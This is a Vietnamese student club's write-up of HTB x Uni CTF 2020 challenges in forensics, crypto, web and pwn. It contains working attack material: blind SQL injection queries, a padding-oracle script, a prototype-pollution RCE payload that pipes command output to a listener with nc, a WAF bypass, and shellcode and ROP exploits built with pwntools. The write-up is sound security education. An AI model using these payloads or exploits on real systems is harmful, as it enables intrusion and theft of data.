[Writeup] HTB x Uni CTF 2020 (Bootcamp CTF WannaGame Winter Season Ep.2 )

PHAPHA_JIàN
12:16 29/11/2020

?Thông tin cuộc thi:
https://ctf.hackthebox.eu/
https://www.hackthebox.eu/universities/university-ctf-2020

Nhóm Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn luôn tiếp nhận qua mail: wannaone.uit@gmail.com.

?Forensics - exfil (ζp33d_0∫_Ψ1m3)

	SLEEP((SELECT ASCII(substr((SELECT group_concat(database_name) FROM mysql.innodb_table_stats), 1, 1)) >> 7 & 1) * 3)
	SELECT SLEEP((SELECT ASCII(substr((SELECT user FROM db_m3149.users), 1, 1)) >> 6 & 1) * 3)
	SELECT SLEEP((SELECT ASCII(substr((SELECT password FROM db_m3149.users), 3, 1)) >> 5 & 1) * 3)
	tshark -Y "mysql contains db_m3149.users" -r capture.pcap -Tjson --no-duplicate-keys -w result.json
	segment found (oh no !!!!)
	-- TRY AGAIN --
	tshark -Y "mysql contains db_m3149.users" -r capture.pcap -Tjson --no-duplicate-keys > result.json
	(Ờ mây zing, gút chóp em)
import json,re
f = open('result.json','r').read()
j = json.loads(f)
user   = []
passwd = []
for i in j:
	if(float(i['_source']['layers']['frame']['frame.time_delta']) > 2):
		temp = i['_source']['layers']['mysql'][1]['mysql.field.name'] 
		_regextemp = re.findall(', (.*), 1\)\) >>(.*)&',temp)
		if re.search('SELECT user',temp):
			user.append(_regextemp)
		else:
			passwd.append(_regextemp)
def rev(arr): # vd: arr = [6,5,2] ==> chr((1 << 6) + (1 << 5) + (1 << 2)) = 'a'
	result = 0
	for i in arr:
		result += (2 ** int(i)) # 1 << i tương đương với 2 mũ i
	return chr(result)
def Decode(msg):
	current = 1
	result = ''
	temp = []
	for arr in msg:
		if(int(arr[0][0]) == current):
			temp.append(arr[0][1])
		else:
			result += rev(temp)
			temp = [] # reset temp
			temp.append(arr[0][1])
			current+=1
		if(arr == msg[-1]): 
			result += rev(temp)
	return result
print("[+] user :", Decode(user))
print("[+] password :", Decode(passwd))
[+] user : admin
[+] password : HTB{flag}

?Forensics - Plug (St1rr1ng -ζ p33d_0∫_Ψ1m3)

screenshoot

Mình mở tệp pcapng bằng Wireshark và nhanh chóng thấy rằng đó là việc ghi lại một số quá trình truyền dữ liệu USB giữa một máy chủ lưu trữ và những gì có vẻ là một ổ USB flash.

Các filter được sử dụng trong Wireshark cho traffic này có thể xem ở đây

Mặt khác, chúng tôi thấy rằng dữ liệu hàng loạt này được chuyển đến device address: 6 trong USB bus, vì vậy mình xây dựng bộ lọc Wireshark sau để chỉ nhận các gói đó:

usb.device_address==6 && usb.capdata

screenshoot

Mình sử dụng tshark để trích xuất các gói tin:

kali@kali:~/Desktop/CTF/HTB-Uni/Plug$ tshark -r capture.pcapng -Y 'usb.capdata and usb.device_address==6' -T text
  481   3.759606         host → 1.6.2        USB 539 URB_BULK out
  492   3.762974        1.6.1 → host         USB 45 URB_BULK in
  497   3.763140         host → 1.6.2        USB 4123 URB_BULK out
  503   3.766387         host → 1.6.2        USB 539 URB_BULK out
  509   3.769593         host → 1.6.2        USB 539 URB_BULK out
  515   3.773330         host → 1.6.2        USB 4123 URB_BULK out
  521   3.777081         host → 1.6.2        USB 5147 URB_BULK out
  527   3.780815         host → 1.6.2        USB 4123 URB_BULK out
  533   3.788441         host → 1.6.2        USB 4123 URB_BULK out
  543   3.797897         host → 1.6.2        USB 1051 URB_BULK out
  549   3.801127         host → 1.6.2        USB 539 URB_BULK out
  555   3.804670         host → 1.6.2        USB 539 URB_BULK out
  987   7.692398         host → 1.6.2        USB 539 URB_BULK out
  998   7.695867        1.6.1 → host         USB 45 URB_BULK in
 1003   7.696068         host → 1.6.2        USB 4123 URB_BULK out
 1009   7.699230         host → 1.6.2        USB 4123 URB_BULK out
 1015   7.702294         host → 1.6.2        USB 539 URB_BULK out
 1021   7.705740         host → 1.6.2        USB 539 URB_BULK out
 1027   7.709906         host → 1.6.2        USB 4123 URB_BULK out
 1033   7.713758         host → 1.6.2        USB 4123 URB_BULK out
 1039   7.716869         host → 1.6.2        USB 539 URB_BULK out
 1049   7.724981         host → 1.6.2        USB 1051 URB_BULK out
 1055   7.728213         host → 1.6.2        USB 539 URB_BULK out
 1061   7.731636         host → 1.6.2        USB 539 URB_BULK out
 1539  12.419485         host → 1.6.2        USB 539 URB_BULK out
 1550  12.422887        1.6.1 → host         USB 45 URB_BULK in
 1555  12.423035         host → 1.6.2        USB 4123 URB_BULK out
 1561  12.426195         host → 1.6.2        USB 4123 URB_BULK out
 1567  12.429171         host → 1.6.2        USB 539 URB_BULK out
 1573  12.432601         host → 1.6.2        USB 539 URB_BULK out
 1579  12.436259         host → 1.6.2        USB 4123 URB_BULK out
 1585  12.439676         host → 1.6.2        USB 4123 URB_BULK out
 1591  12.442802         host → 1.6.2        USB 2075 URB_BULK out
 1601  12.450847         host → 1.6.2        USB 1051 URB_BULK out
 1607  12.454081         host → 1.6.2        USB 539 URB_BULK out
 1613  12.457509         host → 1.6.2        USB 539 URB_BULK out
 1781  16.018247         host → 1.6.2        USB 539 URB_BULK out
 1792  16.021756        1.6.1 → host         USB 45 URB_BULK in
 1797  16.021903         host → 1.6.2        USB 4123 URB_BULK out
 1803  16.025035         host → 1.6.2        USB 539 URB_BULK out
 1809  16.028314         host → 1.6.2        USB 539 URB_BULK out
 1815  16.032427         host → 1.6.2        USB 4123 URB_BULK out
 1821  16.035434         host → 1.6.2        USB 539 URB_BULK out
 1827  16.038946         host → 1.6.2        USB 539 URB_BULK out
 1833  16.043731         host → 1.6.2        USB 4123 URB_BULK out
 1839  16.046847         host → 1.6.2        USB 539 URB_BULK out
 1845  16.050379         host → 1.6.2        USB 539 URB_BULK out
 1855  16.060322         host → 1.6.2        USB 1051 URB_BULK out
 1861  16.063627         host → 1.6.2        USB 539 URB_BULK out
 1867  16.067105         host → 1.6.2        USB 539 URB_BULK out

Sau đó mình giải nén các gói tin vào file raw:

# tshark -r fore2.pcap -Y 'usb.capdata and usb.device_address==3' -T fields -e usb.capdata > raw

Trong đó:

-r: Đọc dữ liệu gói từ infile.

-Y: Display filter

-T: Đặt định dạng của đầu ra khi xem dữ liệu gói được giải mã

-e: Thêm một filter vào danh sách các filter để hiển thị nếu các filter -T được chọn.

usb.capdata: lấy dữ liệu gói từ filter 'USB Leftover'

Bây giờ mình chuyển đổi hex file sang binary bằng cách sử dụng xxd

# xxd -r -p raw output.bin

Trong đó:

-r: revert - reverse operation: đổi hexdump sang binary

-p: kiểu hexdump đơn giản

Sau đó mình thử binwalk để tìm những file bị ẩn bên trong.

kali@kali:~/Desktop/CTF/HTB-Uni/Plug$ binwalk output.bin 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
63542         0xF836          PNG image, 200 x 200, 8-bit/color RGBA, non-interlaced
63583         0xF85F          Zlib compressed data, default compression

Binwalk tìm thấy một hình ảnh PNG ẩn bên trong binary. . Nếu nó không được giải nén bằng lệnh trước đó, chúng ta có thể sử dụng:

kali@kali:~/Desktop/CTF/HTB-Uni/Plug$ binwalk -D 'png image:png' output.bin 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
63542         0xF836          PNG image, 200 x 200, 8-bit/color RGBA, non-interlaced
63583         0xF85F          Zlib compressed data, default compression

Hình ảnh được lưu trữ trong file _output.bin.extracted

Mở file ra ta thấy file ảnh QRCode. Scan ta có ngay flag

screenshoot

FLAG

 

?Forensics - Kapkan (ζp33d_0∫_Ψ1m3)

	 binwalk -e invoice.docx
str = "112 111 119 101 114 115 104 101 108 108 32 45 101 112 32 98 121 112 97 115 115 32 45 101 32 83 65 66 85 65 69 73 65 101 119 66 69 65 68 65 65 98 103 65 51 65 70 56 65 78 65 65 49 65 69 115 65 88 119 66 78 65 68 77 65 88 119 66 111 65 68 65 65 86 119 66 102 65 68 69 65 78 119 66 102 65 72 99 65 77 65 66 83 65 69 115 65 78 81 66 102 65 69 48 65 78 65 65 51 65 68 77 65 102 81 65 61"
arr = str.split(" ")
msg = ''
for i in arr:
	msg += chr(int(i))
print(msg)
echo SABUAEIAewBEADAAbgA3AF8ANAA1AEsAXwBNADMAXwBoADAAVwBfADEANwBfAHcAMABSAEsANQBfAE0ANAA3ADMAfQA= |base64 --decode

?Crypto buggy time machine (Petrus)

https://github.com/PetrusViet/HTB-x-Uni-CTF-2020---Quals.

class TimeMachineCore:
 
    n = ...
    m = ...
    c = ...
 
    def __init__(self, seed):
        self.year = seed

    def next(self):
        self.year = (self.year * self.m + self.c) % self.n
        return self.year

app = Flask(__name__)
a = datetime.now()
seed = int(a.strftime('%Y%m%d')) <<1337 % random.getrandbits(128)
gen = TimeMachineCore(seed)


@app.route('/next_year')
def next_year():
    returnjson.dumps({'year':str(gen.next())})
 

Đầu tiên tay thấy, chương trình sử dụng công thức year*m + c % n để tạo ra next year, đây chính là thuật toán Linear congruential generator để tạo ra số ngẫu nhiên ( à, chỉ là giả vờ ngẫu nhiên thôi :v ) . Vì sự đơn giản của nó nên nó rất nhanh, bù lại thì kha khá dễ bị crack.

Trước tiên ta chia ra một số trường hợp cho dễ sử nhé:

  • TH1: Ta biết được cả 3 con số m, c, n:

Yeb, trường hợp này thì ta dễ dàng tìm được "số ngẫu nhiên" kế tiếp với công thức year*m + c % n

  • TH2: Ta chưa biết c:

Giả sử truong trường hợp này ta đã biết 2 số ngẫu nhiên liên tiếp là s0 và s1. Ta có:

s1 = s0*m +c (mod n)
c = s1 - s0*m (mod n)
 

Như vậy, ta có hàm tìm c khi biết m, n và 2 số ngẫu nhiên liên tiếp:

def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0]*multiplier) % modulus
    return modulus, multiplier, increment
  • TH3: Ta không biết m và c

Giả sử trường hợp này ta đã biết được 3 số ngẫu nhiên liên tiếp: S0, s1, s2. Ta có:

s1 = s0*m + c (mod n)
s2 = s1*m + c (mod n)
 
s2 - s1 = s1*m - s0*m (mod n)
s2 - s1 = m*(s1 - s0) (mod n)
m = (s2 - s1)/(s1 - s0) (mod n)
 
Ta có hàm tìm m, c khi đã có n và 3 số ngẫu nhiên liên tiếp:
 
from Crypto.Util.number import inverse
def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * inverse(states[1] - states[0], modulus) % modulus
    return crack_unknown_increment(states, modulus, multiplier)
 
  • TH4: Ta không biết cả n, c và m

Giả sử như ta đã biết 7 số ngẫu nhiên liên tiếp s0....s6 thì ta sẽ có:

với T(n) = S(n+1) - S(n):
 
t0 = s1 - s0
t1 = s2 - s1 = (s1*m + c) - (s0*m + c) = m*(s1 - s0) = m*t0 (mod n)
t2 = s3 - s2 = (s2*m + c) - (s1*m + c) = m*(s2 - s1) = m*t1 (mod n)
t3 = s4 - s3 = (s3*m + c) - (s2*m + c) = m*(s3 - s2) = m*t2 (mod n)
 
ta thấy:
 
t2*t0 - t1*t1 = (m*m*t0 * t0) - (m*t0 * m*t0) = 0 (mod n)
Dựa vào điều này, ta có thể tạo ra được một vài con số đồng dư với n. lấy GCD của tụi chúng, ta có thể tìm được n rồi
 
def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
    g = math.gcd(zeroes[0], zeroes[1])
    for i in range(2, len(zeroes)):
        g = math.gcd(g, zeroes[i])
    return crack_unknown_multiplier(states, abs(g))
 
ta tìm được:
n = 2147483647
c = 0
m = 48271
 
Như vậy chúng ta đã có thể biết được next year là gì.
 
@app.route('/travelTo2020', methods = ['POST'])
def travelTo2020():
    seed = request.json['seed']
    gen = TimeMachineCore(seed)
    for i in range(hops): state = gen.next()
    if state == 2020:
       return json.dumps({'flag': flag})

Tiếp theo ta thấy, để có được flag, ta cần tìm được seed là một con số ngẫu nhiên nằm trước số 2020 hops lần, tất nhiên là ta chảng biết hops bằng bao nhiêu.

Thế nhưng, khi mình chọn seed là 1 con số bất kì, mình thấy server trả về state sau khi được gen.next( ) hops lần. Vì vậy ta chỉ cần chạy 1 vòng lặp cho đến khi chương trình tìm được số random bằng với state mà server trả về là có thể biết được hops bằng bao nhiêu:

hops = 1
s = seed
while 1:
    s = s*m % n
    if s == state:
       print(hops)
       break
    hops+=1
hops = 876578

Vì c=0 thế nên ta chỉ cần lấy s1/m (mod n) là có thể tìm lại được s0:

from Crypto.Util.number import inverse
 
s = 2020
for i in range(hops):
    s = s*inverse(m, n)
# s = 2113508741

XONG, ta gửi seed lên để lấy flag thôi:

import requests
url="http://docker.hackthebox.eu:30814/travelTo2020"
 
headles={"Accept":"application/json"}
r=requests.post(url,headers=headles,json={"seed": 2113508741})
print(r.text)
 

?Crypto cargo delivery (Petrus)

https://github.com/PetrusViet/HTB-x-Uni-CTF-2020---Quals.

Đọc code ta nhận ra ngay chương trình mã hoá sử dụng AES-128, chương trình có 2 chức năng: xem cipher text và check padding.

Vì server có cho mình biết padding của cipher text mà mình đưa lên có đúng hay không, nên mình nghĩ liền tới Padding oracle attack.

Khá đơn giản để code, nhưng mình mất một thời gian khá dài để debug code của mình :((

from pwn import *
from Crypto.Util.number import *
 
def pad(data):#pad hex string về 64 ký tự (32 bytes)
    if len(data) < 64:
        return (64-len(data))*'0'+ data
    return data
 
t = remote('docker.hackthebox.eu', 30786)
iv0 = 'dcd098e836db949640dd02f849c04656'
c = 'dbe5d3ef953bf91f55b749a7b198797d'
 
d = bytearray(b'\x00'*16) # đây là chuỗi có được khi cipher text mới đi qua decrypt block,
# chưa xor với iv để tạo thành plaintext
 
'''
# đoạn này chỉ để check xem cipher text ban đầu có padding bao nhiêu bytes
iv = bytearray(long_to_bytes(int(iv0, 16)))
 
for i in range(16):
    print(t.recv(2048))
    t.sendline('2')
    print(t.recvline())
    iv[i] = 0
    data = hex(bytes_to_long(bytes(iv)))[2:] + c
    t.sendline(pad(data))
    res = t.recvline()
    print (res)
    print(i)
    print(pad(data))
 
'''
for i in range(1, 17):
    iv = bytearray(long_to_bytes(int(iv0, 16)))
    for k in range(0, i-1):
       iv[-1-k] = d[-1-k] ^ i
    print('i= ', i)
    print(iv)
    for j in range(256):
       t.recv(2048)
       t.sendline('2')
       t.recvline()
       iv[-i] = j
       data = hex(bytes_to_long(bytes(iv)))[2:] + c
       t.sendline(pad(data))
       res = t.recvline()
       if b'This is a valid' in res:
           d[-i] = iv[-i]^i
           print('ok ', i)
           print(d)
           print(res)
           break
       else:
           print('xx', i , j)
 
print(d)
p = ''
iv =bytearray(long_to_bytes(int(iv0, 16)))
for i in range(16):
    p+= chr(d[i]^iv[i])
print(p)
 

?Web - GUNship (n3mo)

Source

Đề cung cấp cho mình mã nguồn nên ta sẽ đọc qua 1 lượt và xác định file quan trọng, nhận thấy file index.js ở routes là nguồn xử lý chính của chall nên ta sẽ forcus vào đó

 

server sử dụng flat và và handlebars template

Đọc dòng cmt dẫn ngay tới link research

https://blog.p6.is/AST-Injection/

phân tích mã nguồn ta thấy, để đủ điều kiện RCE thì cần cho chương trình chạy vào if, tức là phải chứa 1 trường artist.name có chứa 1 trong 3 cái tên cung cấp.

 
{
"artis.name": "Haigh",
 
"__proto__.block": {
 
"type": "Text",
 
"line": "process.mainModule.require('child_process').execSync(`ls|nc ur_ip ur_port`)"
 
}
 
}

```

Post json đơn giản sau và thực hiện lắng nghe kết nối từ server ta sẽ nhận được nội dung của lệnh ls

?Web - Cached (n3mo)

Source

Tiếp tục chúng ta có thể tải mã nguồn về phân tích

 

Ta có 3 endpoints gồm, /flag, / , /cache

Flag nằm ở /flag và phải request từ local mới có thể access được endpoint này.

Vậy mục tiêu đã rõ, chúng ta sẽ thực hiên ssrf

Tiếp theo, ta đọc vào file util.py nơi có luồng xử lý chính của server.

 

Chúng ta có, server nhận input từ user ,và đưa vào selenium headless để request tới,

ở đây có hàm is_inner_ipaddress nhằm chống ta sử dụng các ip biến thể của ip localhost như dec,hex và octa

chúng ta không thể sử dụng cuộc tấn công DNS REBINDING bởi vì hàm socket.gethostbyname sẽ phân giải tên miền thành ip,

xem thêm DNS REBINDING tại: https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/

sau một lúc stuck thì mình thử đến cách chuyển hướng trang

mình dựng 1 tệp php đơn giản như sau

 

Nhận thấy server trả về cho mình screenshot của trang example.com, vậy mình xác định mình đi đúng hướng.

Tiếp theo mình thử nghiệm chuyển hướng về local nhưng không thành công, sau một lúc tìm kiếm thì mình đọc lại file run.py thì thấy điều này

 

Server đang chạy trên cổng 1337 nên mình sẽ chỉnh lại để selenium có thể request tới server local

 

Chờ một lúc ta sẽ thấy 1 hình chứa flag.

?Web - Waf waf (n3mo)

Source

 

Ta có source như sau

Chương trình sử dụng php://input làm đầu vào, thứ mà ta có thể khiểm soát. Sau đó input được lọc qua một blacklist để chống sqli, ta thấy hầu hết những thứ ta cần để sqli đều bị lọc

Để bypass , ta để ý thấy, input được lọc trước rồi mới sử dụng json_decode => lỗi ở json_decode

 

So for bypass this, we use Unicode encode hehe

Lúc encode thì ta sẽ bypass đc blacklist nên không bị lọc tất cả các ký tự ta cần để dựng payload,

Bài này không có bất kỳ output nào nên sẽ thuộc dạng time base blind sqli

Sử dụng hàm sau để encode Unicode

```def encode_unicode(payload):

payload=[hex(ord(i)) for i in payload]

payload="".join(payload)

payload=payload.replace("0x",r"\u00")

return payload```

các bước tiếp theo chỉ việc kiên nhẫn ngồi chờ :v

 

Ta có 2 tables là definitely_not_a_flag,notes

Column name

 

flag

?Pwn - kindergarten (boodamdang)

Source

Kiểm tra các thông tin cơ bản của file:

 
kali@kali:~/Desktop/HTB$ file kindergarten
kindergarten: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b69d0bce6edc7c92790fa058af71ac60736bab09, not stripped
kali@kali:~/Desktop/HTB$ checksec --file=kindergarten
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 75 Symbols No 0 1 kindergarten

Đề cho 1 file ELF 64-bit. Các cơ chế bảo vệ chỉ bật mỗi RELRO; Canary, NX, PIE đều tắt ? khả năng cao là ret2shellcode.

Sau khi đã chạy thử và reverse chương trình, mình tóm tắt lại những điểm chính như sau:

 
0x0000000000400b8a <+82>: mov edx,0x60
0x0000000000400b8f <+87>: lea rsi,[rip+0x2014aa] # 0x602040 <ans>
0x0000000000400b96 <+94>: mov edi,0x0
0x0000000000400b9b <+99>: call 0x400740 <read@plt>
0x0000000000400ba0 <+104>: mov eax,0x0
0x0000000000400ba5 <+109>: call 0x400950 <kinder>
 
0x0000000000400a9f <+335>: lea rax,[rbp-0x50]
0x0000000000400aa3 <+339>: mov edx,0x1f
0x0000000000400aa8 <+344>: mov rsi,rax
0x0000000000400aab <+347>: mov edi,0x0
0x0000000000400ab0 <+352>: call 0x400740 <read@plt>
 
0x0000000000400a32 <+226>: lea rax,[rbp-0x80]
0x0000000000400a36 <+230>: mov edx,0x14c
0x0000000000400a3b <+235>: mov rsi,rax
0x0000000000400a3e <+238>: mov edi,0x0
0x0000000000400a43 <+243>: call 0x400740 <read@plt>

Có thể thấy 0x14c lớn hơn nhiều so với 0x80 ? có thể overwrite return address. Vấn đề là return đi đâu? Như đã phân tích ở trên, hàm main đọc 0x60 byte vào biến toàn cục ans. Không có PIE nên địa chỉ ans là cố định, mình sẽ nhập shellcode vào ans và sau đó return về ans thôi. Ez game??? ?

Mình lên shell-storm lụm đại một cái shellcode /bin/sh về và mình có đoạn code exploit như sau:

 
from pwn import *
 
proc = process('./kindergarten')
#raw_input('DEBUG')
#proc = remote('docker.hackthebox.eu', 30508)
 
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
 
proc.sendlineafter('> ', shellcode)
 
proc.sendlineafter('> ', 'y')
proc.sendlineafter('>> ', 'a')
proc.sendlineafter('> ', 'y')
proc.sendlineafter('>> ', 'a')
proc.sendlineafter('> ', 'y')
proc.sendlineafter('>> ', 'a')
proc.sendlineafter('> ', 'y')
proc.sendlineafter('>> ', 'a')
proc.sendlineafter('> ', 'y')
proc.sendlineafter('> ', 'a'*136 + p64(0x602040))
 
proc.interactive()

Run run run:

 
kali@kali:~/Desktop/HTB$ python kinder_solve.py
[+] Starting local process './kindergarten': pid 13727
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Process './kindergarten' stopped with exit code -31 (SIGSYS) (pid 13727)
[*] Got EOF while sending in interactive

Mình search Google thì người ta bảo là "The SIGSYS signal is sent to a process when it passes a bad argument to a system call.". Sau đó mình thử các shellcode /bin/sh khác, ngắn dài các kiểu vẫn lỗi y hệt vậy.

Quá mệt mỏi, mình ngủ thiếp đi, trong cơn mơ, Bụt hiện lên và nói "Đừng mãi yêu một người vô tâm ?". Mình giật mình dậy làm tiếp, mình ngẫm nghĩ về câu nói của Bụt... Mình chợt thắc mắc rằng có thể nhập đến tận 0x60 byte vào ans, tận 0x60 bytes chỉ để lưu shellcode /bin/sh? Thế là mình thử với shellcode in ra chữ "Hello world" và kết quả là in ra được ?

Sau đó mình tìm tới được shellcode in ra file /etc/passwd (link), mình thử thì nó in ra được. Thế là mình sửa chỗ /etc/passwd thành .//flag.txt:

 
shellcode = '\xeb\x3f\x5f\x80\x77\x0b\x41\x48\x31\xc0\x04\x02\x48\x31\xf6\x0f\x05\x66\x81\xec\xff\x0f\x48\x8d\x34\x24\x48\x89\xc7\x48\x31\xd2\x66\xba\xff\x0f\x48\x31\xc0\x0f\x05\x48\x31\xff\x40\x80\xc7\x01\x48\x89\xc2\x48\x31\xc0\x04\x01\x0f\x05\x48\x31\xc0\x04\x3c\x0f\x05\xe8\xbc\xff\xff\xff\x2e\x2f\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x41'

Run run run:

 
kali@kali:~/Desktop/HTB$ python kinder_solve.py
[+] Starting local process './kindergarten': pid 13815
[*] Switching to interactive mode
[*] Process './kindergarten' stopped with exit code 1 (pid 13815)
flag{boodamdang}
[*] Got EOF while reading in interactive

Ok nha ?

?Pwn - mirror (boodamdang)

Source

Kiểm tra các thông tin cơ bản của file:

 
kali@kali:~/Desktop/HTB$ file mirror
mirror: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=68add878faa014b4b174d6b7e07b7d9f0c9bf486, for GNU/Linux 3.2.0, not stripped
kali@kali:~/Desktop/HTB$ checksec --file=mirror
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 73 Symbols No 0 2 mirror

Đề cho 1 file ELF 64-bit. Các cơ chế bảo vệ chỉ tắt mỗi Canary; RELRO, NX, PIE đều tắt ? khả năng cao là ROP.

Sau khi đã chạy thử và reverse chương trình, mình tóm tắt lại những điểm chính như sau:

 
0x00000000000012b4 <+95>: lea rax,[rbp-0x20]
0x00000000000012b8 <+99>: mov edx,0x1f
0x00000000000012bd <+104>: mov rsi,rax
0x00000000000012c0 <+107>: mov edi,0x0
0x00000000000012c5 <+112>: call 0x10a0 <read@plt>
0x00000000000012ca <+117>: movzx eax,BYTE PTR [rbp-0x20]
0x00000000000012ce <+121>: cmp al,0x79
0x00000000000012d0 <+123>: je 0x12f0 <main+155>
 
0x00000000000011c5 <+12>: lea rax,[rbp-0x20]
0x00000000000011c9 <+16>: mov rdx,QWORD PTR [rip+0x2e08] # 0x3fd8
0x00000000000011d0 <+23>: mov rsi,rax
0x00000000000011d3 <+26>: lea rdi,[rip+0xe2e] # 0x2008
0x00000000000011da <+33>: mov eax,0x0
0x00000000000011df <+38>: call 0x1070 <printf@plt>
0x00000000000011e4 <+43>: lea rdi,[rip+0xe55] # 0x2040
0x00000000000011eb <+50>: mov eax,0x0
0x00000000000011f0 <+55>: call 0x1070 <printf@plt>
 
0x00000000000011f5 <+60>: lea rax,[rbp-0x20]
0x00000000000011f9 <+64>: mov edx,0x21
0x00000000000011fe <+69>: mov rsi,rax
0x0000000000001201 <+72>: mov edi,0x0
0x0000000000001206 <+77>: call 0x10a0 <read@plt>

Có thể thấy hàm read đọc dư 1 byte, với đúng 1 byte dư này, chúng ta có thể áp dụng kỹ thuật Off-by-one. Mình sẽ overwrite byte cuối của vùng nhớ mà rbp trỏ tới thành byte cuối của địa chỉ buffer, khi hàm read thực thi xong, rbp sẽ trỏ tới địa chỉ của buffer.

Libc đã leak được nhờ địa chỉ của hàm printf bên trên. Và mình sẽ nhập chuỗi ROP = 'a'*8 + pop_rdi_ret + /bin/sh + system vào buffer. Sau 2 lần leaveret ở hàm reveal và hàm main thì rip sẽ trỏ tới được pop_rdi_ret.

Kế hoạch có vẻ ok, và mình cũng đã khai thác thành công trên local. Nhưng khi lên server thì hẹo ?. Với hàm printf của server, mình chỉ tìm được đúng 1 libc x64. Mình cứ nghĩ rằng libc đó chưa đúng, server nó dùng một libc rừng rú nào đó, mình tốn rất nhiều thời gian để thử nát hết các libc nhưng vẫn không được... Time out, và mình vẫn chưa khai thác thành công bài này trên server ?

Mình lại đi ngủ, và Bụt lại hiện lên "Thằng đần này, bố mày đã bảo là đừng mãi yêu một người vô tâm ?". Mình đúng là quá nu nốc, hàm main đọc 0x1f byte vào buffer chỉ để kiểm tra ký tự đầu có phải là "y" hay không??? Có thể server đã dùng cách gì đó làm cho mình không chạy được /bin/sh, nhưng mình hoàn toàn có thể nhập /bin/cat flag.txt vào buffer ở hàm main sau đó truyền vào system?. Khoảng cách giữa buffer hàm main và buffer hàm reveal có thể dễ dàng tính được bằng cách debug, và nó là 0x30, bỏ qua ký tự "y" là 0x31. Cuối cùng mình có đoạn code exploit như sau:

 
from pwn import *
 
proc = process('./mirror')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_rop = ROP(libc)
#raw_input('DEBUG')
#proc = remote('docker.hackthebox.eu', 30186)
 
proc.sendlineafter('> ', 'y/bin/cat flag.txt\x00')
 
proc.recvuntil('[')
leak = proc.recvuntil(']')
buffer = int(leak[:-1], 16)
buffer_last_byte = int((leak[:-1])[-2:], 16)
print 'buffer = ' + hex(buffer)
print 'buffer_last_byte = ' + hex(buffer_last_byte)
 
proc.recvuntil('[')
libc_base = int(proc.recvuntil(']')[:-1], 16) - libc.sym['printf']
print 'libc_base = ' + hex(libc_base)
 
rop = 'a'*8
rop += p64(libc_base + (libc_rop.find_gadget(['pop rdi', 'ret']))[0])
rop += p64(buffer + 0x31)
rop += p64(libc_base + libc.sym['system'])
proc.sendlineafter('> ', rop + '\x00'*(0x21 - len(rop) - 1) + chr(buffer_last_byte))
 
proc.interactive()

Run run run:

 
kali@kali:~/Desktop/HTB$ python mirror_solve.py
[+] Starting local process './mirror': pid 14915
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 196 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
buffer = 0x7fffe023ad70
buffer_last_byte = 0x70
libc_base = 0x7f248b501000
[*] Switching to interactive mode
flag{boodamdang}
[*] Got EOF while reading in interactive

Mình ước gì server mở lại để mình thử lại xem có được hay không ?

... Còn tiếp!!!

TIN LIÊN QUAN
Trong bài viết này, CLB Wanna.W^n sẽ hướng dẫn các bạn cách sử dụng nền tảng wannaGame với các bước thực hiện như sau: Đăng ký tài khoản Bước 1: Truy cập đường dẫn nền tảng wannaGame: https://cnsc.uit.edu.vn/ctf/ Bước 2: Chọn nút Register Bước 3: Tại màn hình đăng ký,...
CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và fanpage: fb.com/inseclab Web @AP DISCO PARTY @AP GITFILE EXPLORER @AP miniblog++...
Cookie Arena được tổ chức bởi Cookie Hân Hoan, một tổ chức giáo dục nhằm phổ biến kiến thức an ninh mạng đến với cộng đồng bằng sự đồng cảm, tươi vui và hài hước. "Xin chào, mình là Gấu aka th3_5had0w đến từ Wanne.One, với tư cách là á...